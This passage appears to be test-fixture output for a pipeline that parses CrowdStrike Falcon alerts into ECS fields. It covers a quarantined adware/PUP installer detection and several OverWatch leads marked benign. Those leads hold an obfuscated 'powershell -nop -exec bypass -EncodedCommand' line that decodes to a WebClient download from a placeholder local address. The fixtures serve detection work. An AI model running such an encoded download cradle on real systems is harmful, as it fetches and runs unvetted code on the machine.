"agent_load_flags": 0, - "agent_local_time": "2023-10-12T03:45:57.753Z", - "agent_version": "7.04.17605.0", - "bios_manufacturer": "ABC", - "bios_version": "F8CN42WW(V2.05)", - "cid": "92012896127c4a948236ba7601b886b0", - "config_id_base": "65994763", - "config_id_build": "17605", - "config_id_platform": 3, - "external_ip": "81.2.69.142", - "first_seen": "2023-04-07T09:36:36.000Z", - "groups": [ - "18704e21288243b58e4c76266d38caaf" - ], - "hostinfo": { - "active_directory_dn_display": [ - "WinComputers", - "WinComputers\\ABC" - ], - "domain": "ABC.LOCAL" - }, - "hostname": "ABC709-1175", - "id": "2ce412d17b334ad4adc8c1c54dbfec4b", - "last_seen": "2023-11-03T17:51:42.000Z", - "local_ip": "81.2.69.142", - "mac_address": "AB-21-48-61-05-B2", - "machine_domain": "ABC.LOCAL", - "major_version": "10", - "minor_version": "0", - "modified_timestamp": "2023-11-03T17:53:43.000Z", - "os_version": "Windows11", - "ou": [ - "ABC", - "WinComputers" - ], - "platform_id": "0", - "platform_name": "Windows", - "product_type": "1", - "product_type_desc": "Workstation", - "site_name": "Default-First-Site-Name", - "status": "normal", - "system_manufacturer": "LENOVO", - "system_product_name": "20VE" - }, - "falcon_host_link": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600", - "filename": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", - "filepath": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", - "grandparent_details": { - "cmdline": "C:\\Windows\\system32\\userinit.exe", - "filename": "userinit.exe", - "filepath": "\\Device\\HarddiskVolume3\\Windows\\System32\\userinit.exe", - "local_process_id": "4328", - "md5": "b07f77fd3f9828b2c9d61f8a36609741", - "process_graph_id": "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135", - "process_id": "392734873135", - "sha256": "caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33", - "timestamp": "2023-10-30T16:49:19.000Z", - "user_graph_id": "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425", - "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425", - "user_name": "yuvraj.mahajan" - }, - "has_script_or_module_ioc": true, - "id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600", - "indicator_id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600", - "ioc_context": [ - { - "ioc_description": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", - "ioc_source": "library_load", - "ioc_type": "hash_sha256", - "ioc_value": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", - "md5": "cdf9cfebb400ce89d5b6032bfcdc693b", - "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", - "type": "module" - } - ], - "ioc_values": [ - "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd" - ], - "is_synthetic_quarantine_disposition": true, - "local_process_id": "17076", - "logon_domain": "ABSYS", - "md5": "cdf9cfebb400ce89d5b6032bfcdc693b", - "name": "PrewittPupAdwareSensorDetect-Lowest", - "objective": "FalconDetectionMethod", - "parent_details": { - "cmdline": "C:\\WINDOWS\\Explorer.EXE", - "filename": "explorer.exe", - "filepath": "\\Device\\HarddiskVolume3\\Windows\\explorer.exe", - "local_process_id": "1040", - "md5": "8cc3fcdd7d52d2d5221303c213e044ae", - "process_graph_id": "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876", - "process_id": "392736520876", - "sha256": "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4", - "timestamp": "2023-11-03T18:00:32.000Z", - "user_graph_id": "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425", - "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425", - "user_name": "mohit.jha" - }, - "parent_process_id": "392736520876", - "pattern_disposition": 2176, - "pattern_disposition_description": "Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.", - "pattern_disposition_details": { - "blocking_unsupported_or_disabled": false, - "bootup_safeguard_enabled": false, - "critical_process_disabled": false, - "detect": false, - "fs_operation_blocked": false, - "handle_operation_downgraded": false, - "inddet_mask": false, - "indicator": false, - "kill_action_failed": false, - "kill_parent": false, - "kill_process": false, - "kill_subprocess": false, - "operation_blocked": false, - "policy_disabled": false, - "process_blocked": true, - "quarantine_file": true, - "quarantine_machine": false, - "registry_operation_blocked": false, - "rooting": false, - "sensor_only": false, - "suspend_parent": false, - "suspend_process": false - }, - "pattern_id": "5761", - "platform": "Windows", - "poly_id": "AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==", - "process_end_time": "2023-11-03T18:00:21.000Z", - "process_id": "399748687993", - "process_start_time": "2023-11-03T18:00:13.000Z", - "product": "epp", - "quarantined_files": [ - { - "filename": "\\Device\\Volume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", - "id": "2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", - "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", - "state": "quarantined" - } - ], - "scenario": "NGAV", - "severity": 30, - "severity_name": "low", - "sha1": "0000000000000000000000000000000000000000", - "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", - "show_in_ui": true, - "source_products": [ - "FalconInsight" - ], - "source_vendors": [ - "CrowdStrike" - ], - "status": "new", - "tactic": "MachineLearning", - "tactic_id": "CSTA0004", - "technique": "Adware/PUP", - "technique_id": "CST0000", - "timestamp": "2023-11-03T18:00:22.328Z", - "tree_id": "1931778", - "tree_root": "38687993", - "triggering_process_graph_id": "pid:2ce4124ad4adc8c1c54dbfec4b:399748687993", - "type": "ldt", - "updated_timestamp": "2023-11-03T19:00:23.985Z", - "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425", - "user_name": "mohit.jha" - } - }, - "device": { - "id": "2ce412d17b334ad4adc8c1c54dbfec4b", - "manufacturer": "LENOVO", - "model": { - "name": "20VE" - } - }, - "ecs": { - "version": "8.17.0" - }, - "event": { - "category": [ - "process" - ], - "id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600", - "kind": "alert", - "original": "{\"agent_id\":\"2ce412d17b334ad4adc8c1c54dbfec4b\",\"aggregate_id\":\"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"alleged_filetype\":\"exe\",\"cid\":\"92012896127c4a948236ba7601b886b0\",\"cloud_indicator\":\"false\",\"cmdline\":\"\\\"C:\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\\\"\",\"composite_id\":\"92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"confidence\":10,\"context_timestamp\":\"2023-11-03T18:00:31Z\",\"control_graph_id\":\"ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778\",\"crawl_edge_ids\":{\"Sensor\":[\"KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2JIVMD36[+=kiQDRm.bB?;d\\\"V0JaQlaltC59Iq6nM?6`>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N\",\"KZcZA__;?\\\"cmott@m_k)MSZ^+C?.cg92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';ea%iM\\\"__\\\"59K'R?_=`'`rK/'hA\\\"r+L5i-*Ut5PI!!*'!\",\"N6CUF__;K!d$:[C93.?=/5(`5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\\\"%MDAR=fo41Z]rXc\\\"J-\\\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr\",\"N6CUF__;K!d$:\\\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\\\"X'\\\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn`6I##&$^81(P+hN*-#rf/cUs)Wb\\\"<_/?I'[##WMh'H[Rcl+!!<<'\",\"N6L[G__;K!d\\\"qhT7k?[D\\\"Bk:5s%+=>#DM0j$_44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06`/I6cl\\\"d.&=To@9kS!prs8N\"]},\"crawl_vertex_ids\":{\"Sensor\":[\"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4\",\"mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33\",\"pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135\",\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876\",\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993\",\"quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\"]},\"crawled_timestamp\":\"2023-11-03T19:00:23.985020992Z\",\"created_timestamp\":\"2023-11-03T18:01:23.995794943Z\",\"data_domains\":[\"Endpoint\"],\"description\":\"ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.\",\"device\":{\"agent_load_flags\":\"0\",\"agent_local_time\":\"2023-10-12T03:45:57.753Z\",\"agent_version\":\"7.04.17605.0\",\"bios_manufacturer\":\"ABC\",\"bios_version\":\"F8CN42WW(V2.05)\",\"cid\":\"92012896127c4a948236ba7601b886b0\",\"config_id_base\":\"65994763\",\"config_id_build\":\"17605\",\"config_id_platform\":\"3\",\"device_id\":\"2ce412d17b334ad4adc8c1c54dbfec4b\",\"external_ip\":\"81.2.69.142\",\"first_seen\":\"2023-04-07T09:36:36Z\",\"groups\":[\"18704e21288243b58e4c76266d38caaf\"],\"hostinfo\":{\"active_directory_dn_display\":[\"WinComputers\",\"WinComputers\\\\ABC\"],\"domain\":\"ABC.LOCAL\"},\"hostname\":\"ABC709-1175\",\"last_seen\":\"2023-11-03T17:51:42Z\",\"local_ip\":\"81.2.69.142\",\"mac_address\":\"ab-21-48-61-05-b2\",\"machine_domain\":\"ABC.LOCAL\",\"major_version\":\"10\",\"minor_version\":\"0\",\"modified_timestamp\":\"2023-11-03T17:53:43Z\",\"os_version\":\"Windows11\",\"ou\":[\"ABC\",\"WinComputers\"],\"platform_id\":\"0\",\"platform_name\":\"Windows\",\"pod_labels\":null,\"product_type\":\"1\",\"product_type_desc\":\"Workstation\",\"site_name\":\"Default-First-Site-Name\",\"status\":\"normal\",\"system_manufacturer\":\"LENOVO\",\"system_product_name\":\"20VE\"},\"falcon_host_link\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"filename\":\"openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"grandparent_details\":{\"cmdline\":\"C:\\\\Windows\\\\system32\\\\userinit.exe\",\"filename\":\"userinit.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\System32\\\\userinit.exe\",\"local_process_id\":\"4328\",\"md5\":\"b07f77fd3f9828b2c9d61f8a36609741\",\"process_graph_id\":\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135\",\"process_id\":\"392734873135\",\"sha256\":\"caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33\",\"timestamp\":\"2023-10-30T16:49:19Z\",\"user_graph_id\":\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"yuvraj.mahajan\"},\"id\":\"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"indicator_id\":\"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"ioc_context\":[{\"ioc_description\":\"\\\\Device\\\\HarddiskVolume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"ioc_source\":\"library_load\",\"ioc_type\":\"hash_sha256\",\"ioc_value\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"md5\":\"cdf9cfebb400ce89d5b6032bfcdc693b\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"type\":\"module\"}],\"local_process_id\":\"17076\",\"logon_domain\":\"ABSYS\",\"md5\":\"cdf9cfebb400ce89d5b6032bfcdc693b\",\"name\":\"PrewittPupAdwareSensorDetect-Lowest\",\"objective\":\"FalconDetectionMethod\",\"parent_details\":{\"cmdline\":\"C:\\\\WINDOWS\\\\Explorer.EXE\",\"filename\":\"explorer.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\explorer.exe\",\"local_process_id\":\"1040\",\"md5\":\"8cc3fcdd7d52d2d5221303c213e044ae\",\"process_graph_id\":\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876\",\"process_id\":\"392736520876\",\"sha256\":\"0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4\",\"timestamp\":\"2023-11-03T18:00:32Z\",\"user_graph_id\":\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"mohit.jha\"},\"parent_process_id\":\"392736520876\",\"pattern_disposition\":2176,\"pattern_disposition_description\":\"Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.\",\"pattern_disposition_details\":{\"blocking_unsupported_or_disabled\":false,\"bootup_safeguard_enabled\":false,\"critical_process_disabled\":false,\"detect\":false,\"fs_operation_blocked\":false,\"handle_operation_downgraded\":false,\"inddet_mask\":false,\"indicator\":false,\"kill_action_failed\":false,\"kill_parent\":false,\"kill_process\":false,\"kill_subprocess\":false,\"operation_blocked\":false,\"policy_disabled\":false,\"process_blocked\":true,\"quarantine_file\":true,\"quarantine_machine\":false,\"registry_operation_blocked\":false,\"rooting\":false,\"sensor_only\":false,\"suspend_parent\":false,\"suspend_process\":false},\"pattern_id\":5761,\"platform\":\"Windows\",\"poly_id\":\"AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==\",\"process_end_time\":\"1699034421\",\"process_id\":\"399748687993\",\"process_start_time\":\"1699034413\",\"product\":\"epp\",\"quarantined_files\":[{\"filename\":\"\\\\Device\\\\Volume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"id\":\"2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"state\":\"quarantined\"}],\"scenario\":\"NGAV\",\"severity\":30,\"sha1\":\"0000000000000000000000000000000000000000\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"show_in_ui\":true,\"source_products\":[\"FalconInsight\"],\"source_vendors\":[\"CrowdStrike\"],\"status\":\"new\",\"tactic\":\"MachineLearning\",\"tactic_id\":\"CSTA0004\",\"technique\":\"Adware/PUP\",\"technique_id\":\"CST0000\",\"timestamp\":\"2023-11-03T18:00:22.328Z\",\"tree_id\":\"1931778\",\"tree_root\":\"38687993\",\"triggering_process_graph_id\":\"pid:2ce4124ad4adc8c1c54dbfec4b:399748687993\",\"type\":\"ldt\",\"updated_timestamp\":\"2023-11-03T19:00:23.985007341Z\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"mohit.jha\"}", - "severity": 21, - "type": [ - "start" - ] - }, - "file": { - "name": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", - "path": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe" - }, - "host": { - "domain": "ABC.LOCAL", - "hostname": "ABC709-1175", - "id": "2ce412d17b334ad4adc8c1c54dbfec4b", - "ip": [ - "81.2.69.142" - ], - "mac": [ - "AB-21-48-61-05-B2" - ], - "os": { - "full": "Windows11", - "platform": "Windows", - "type": "windows" - } - }, - "message": "ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.", - "process": { - "end": "2023-11-03T18:00:21.000Z", - "entity_id": "399748687993", - "executable": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", - "hash": { - "md5": "cdf9cfebb400ce89d5b6032bfcdc693b", - "sha1": "0000000000000000000000000000000000000000", - "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd" - }, - "name": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", - "parent": { - "command_line": "C:\\WINDOWS\\Explorer.EXE", - "entity_id": "392736520876", - "executable": "\\Device\\HarddiskVolume3\\Windows\\explorer.exe", - "hash": { - "md5": "8cc3fcdd7d52d2d5221303c213e044ae", - "sha256": "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4" - }, - "name": "explorer.exe", - "pid": 392736520876 - }, - "pid": 399748687993, - "start": "2023-11-03T18:00:13.000Z", - "user": { - "id": "S-1-5-21-1909377054-3469629671-4104191496-4425", - "name": "mohit.jha" - } - }, - "related": { - "hash": [ - "b07f77fd3f9828b2c9d61f8a36609741", - "caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33", - "cdf9cfebb400ce89d5b6032bfcdc693b", - "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", - "8cc3fcdd7d52d2d5221303c213e044ae", - "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4", - "0000000000000000000000000000000000000000" - ], - "hosts": [ - "ABC.LOCAL", - "ABC709-1175" - ], - "ip": [ - "81.2.69.142" - ], - "user": [ - "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425", - "S-1-5-21-1909377054-3469629671-4104191496-4425", - "yuvraj.mahajan", - "mohit.jha" - ] - }, - "tags": [ - "preserve_original_event", - "preserve_duplicate_custom_fields" - ], - "threat": { - "framework": "CrowdStrike Falcon Detections Framework", - "tactic": { - "id": [ - "CSTA0004" - ], - "name": [ - "MachineLearning" - ] - }, - "technique": { - "id": [ - "CST0000" - ], - "name": [ - "Adware/PUP" - ] - } - }, - "user": { - "id": "S-1-5-21-1909377054-3469629671-4104191496-4425", - "name": "mohit.jha" - } - }, - { - "@timestamp": "2024-11-07T20:47:22.000Z", - "crowdstrike": { - "alert": { - "agent_id": "abcd1234abcd1234abcd12", - "cid": "asdfasdfsadfasdfasdf", - "command_line": "powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA", - "composite_id": "b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3", - "crawled_timestamp": "2024-11-07T20:49:59.123Z", - "created_timestamp": "2024-11-07T20:49:59.123Z", - "detect_type": "endpoint", - "host_name": "SOMEHOST", - "host_type": "Server", - "id": "lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3", - "image_file_name": "\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", - "operating_system": "Windows", - "pattern_id": "97000", - "poly_id": "CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==", - "process_id": "123456789123", - "product": "overwatch", - "seconds_to_resolved": 0, - "seconds_to_triaged": 0, - "show_in_ui": true, - "status": "new", - "tags": [ - "ow/investigated", - "ow/resolution/benign" - ], - "timestamp": "2024-11-07T20:47:22.000Z", - "tree_id": "12345678901", - "type": "lead", - "updated_timestamp": "2024-11-07T20:49:59.123Z" - } - }, - "ecs": { - "version": "8.17.0" - }, - "event": { - "category": [ - "process" - ], - "id": "lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3", - "kind": "alert", - "original": "{\"agent_id\":\"abcd1234abcd1234abcd12\",\"aggregate_id\":\"\",\"cid\":\"asdfasdfsadfasdfasdf\",\"command_line\":\"powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA\",\"composite_id\":\"b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3\",\"crawled_timestamp\":\"2024-11-07T20:49:59.12345678Z\",\"created_timestamp\":\"2024-11-07T20:49:59.123432101Z\",\"detect_type\":\"endpoint\",\"host_name\":\"SOMEHOST\",\"host_type\":\"Server\",\"id\":\"lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3\",\"image_file_name\":\"\\\\Device\\\\HarddiskVolume1\\\\Windows\\\\SysWOW64\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\",\"operating_system\":\"Windows\",\"pattern_id\":97000,\"poly_id\":\"CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==\",\"process_id\":\"123456789123\",\"product\":\"overwatch\",\"seconds_to_resolved\":0,\"seconds_to_triaged\":0,\"show_in_ui\":true,\"status\":\"new\",\"tags\":[\"ow/investigated\",\"ow/resolution/benign\"],\"timestamp\":\"2024-11-07T20:47:22Z\",\"tree_id\":\"12345678901\",\"type\":\"lead\",\"updated_timestamp\":\"2024-11-07T20:49:59.123432101Z\"}" - }, - "file": { - "path": "\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" - }, - "host": { - "id": "abcd1234abcd1234abcd12", - "name": "SOMEHOST", - "os": { - "name": "Windows", - "type": "windows" - }, - "type": "Server" - }, - "process": { - "command_line": "powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA", - "entity_id": "123456789123", - "pid": 123456789123 - }, - "related": { - "hosts": [ - "SOMEHOST" - ] - }, - "tags": [ - "preserve_original_event", - "preserve_duplicate_custom_fields", - "ow/investigated", - "ow/resolution/benign" - ] - }, - { - "@timestamp": "2024-11-07T20:47:22.000Z", - "crowdstrike": { - "alert": { - "agent_id": "abcd1234abcd1234abcd12", - "cid": "asdfasdfsadfasdfasdf", - "command_line": "powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA", - "composite_id": "b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3", - "crawled_timestamp": "2024-11-07T20:49:59.123Z", - "created_timestamp": "2024-11-07T20:49:59.123Z", - "detect_type": "endpoint", - "host_name": "SOMEHOST", - "host_type": "Server", - "id": "lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3", - "image_file_name": "\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", - "name": "OTHERUSER on OTHERHOST", - "operating_system": "Windows", - "pattern_id": "97000", - "poly_id": "CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==", - "process_id": "123456789123", - "product": "overwatch", - "seconds_to_resolved": 0, - "seconds_to_triaged": 0, - "show_in_ui": true, - "status": "new", - "tags": [ - "ow/investigated", - "ow/resolution/benign" - ], - "timestamp": "2024-11-07T20:47:22.000Z", - "tree_id": "12345678901", - "type": "lead", - "updated_timestamp": "2024-11-07T20:49:59.123Z" - } - }, - "ecs": { - "version": "8.17.0" - }, - "event": { - "category": [ - "process" - ], - "id": "lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3", - "kind": "alert", - "original": "{\"name\":\"OTHERUSER on OTHERHOST\",\"agent_id\":\"abcd1234abcd1234abcd12\",\"aggregate_id\":\"\",\"cid\":\"asdfasdfsadfasdfasdf\",\"command_line\":\"powershell -nop -exec 